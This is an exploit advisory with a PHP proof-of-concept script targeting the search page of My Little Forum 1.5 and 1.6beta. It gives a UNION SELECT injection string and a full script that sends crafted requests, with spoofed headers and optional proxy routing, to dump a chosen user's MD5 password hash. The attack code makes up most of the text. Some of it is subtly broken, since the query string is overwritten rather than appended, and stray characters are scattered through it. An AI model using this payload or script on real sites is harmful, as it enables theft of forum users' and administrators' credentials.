My Little Forum 1.5 / 1.6beta SQL Injection software: site: http://www.mylittlehomepage.net/my_little_forum software: "A simple web-forum that supports classical thread view (message tree) as well as messagebord view to display the messages. Requires PHP > 4.1 and a MySQL database." 1) look at the vulnerable code at line 144 inside search.php: ... $result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ". $time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit, DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."') AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table." WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", " .$settings['search_results_per_page'], $connid); ... now goto the search page, select "phrase", and type: [whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where user_name='[username]' /* if magic quotes are off you will have (guess?...) any admin/user password hash 'cause $searchstring var is not filtered... this my poc exploit: <?php # mlfexpl.php # # # # My Little Forum 1.5 ( possibly prior versions) SQL Injection / # # MD5 password hash disclosure poc exploit with proxy support # # # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then... # # dump all password hashes from database right now... # # # # Sun-Tzu: "You can be sure of succeeding in your attacks if you only attack # # places which are undefended. You can ensure the safety of your defense if # # you only hold positions that cannot be attacked." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head><title>My Little Forum 1.5 SQL Injection </title><meta http-equiv="Co ntent-Type" content="text/html; charset=iso-8859-1"><style type="text/css"><!-- body,td,th { color: #00FF00;} body { background-color: #000000;} .Stile5 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;} .Stile6{ font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-sty le: italic; } --> </style></head> <body> <p class="Stile6"> My Little Forum 1 .5 SQL Injection </p><p class="Stile6">a script by rgod at <a href="http: //rgod .altervista.org" target="_blank" > http://rgod.altervista.org </a> </p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="' .$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&username=value "><p><input type="text" name="host"><span class="Stile5">hostname (ex: www.siten ame.com) </span></p><p><input type="text" name="path"> <span class="Stile5"> path (ex: /mylf/ or just /) </span></p><p><input type="text" name="port" ><span class="Stile5"> specify a port other than 80 (default value)</span></p><p><input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span> </p> <p> <input type="text" name="username"> <span class ="Stile5">username whom you want MD5 hash </span> </p> <p> <input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; à à } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; à à } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet,$show) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; à àdie; à à } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); if ($show) {echo nl2br(htmlentities($html));} } if (($path<>'') and ($host<>'') and ($username<>'')) { if ($port=='') {$port=80;} $sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw"; $sql=", user_pw"; //if version is 1.6 beta, just add a comment to ths line $sql=" FROM forum_userdata WHERE user_name='".$username."'/*"; $sql=urlencode($sql); if ($proxy=='') {$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";} else {$packet="GET http://".$host.$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";} $packet.="Client-IP: 127.0.0.1\r\n"; $packet.="X-Forwarded-For: 127.0.0.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."search.php\r\n";; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Keep-Alive\r\n\r\n"; show($packet); sendpacket($packet,0); $temp=explode(';<span class="category">(',$html); $temp2=explode(')</span>',$temp[1]); $hash=$temp2[0]; echo '<br>username: '.$username.' hash: '.$hash; # debugging... //echo htmlentities($html); } else { echo '<br>fill in all requested fields, optionally specify a proxy...<br>'; } ?> 2) 1.6beta is vulnerable even, we have: ... $result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL ".$time_difference." HOUR) AS Uhrzeit, subject, name, email, hp, place, text, category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'], $connid); ... you have same results, deleting a statement in injection string: [whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where user_name='[username]' /* rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/mylittle15_16b.html
AdmID:6354226D92B40391410E7F8609135F12
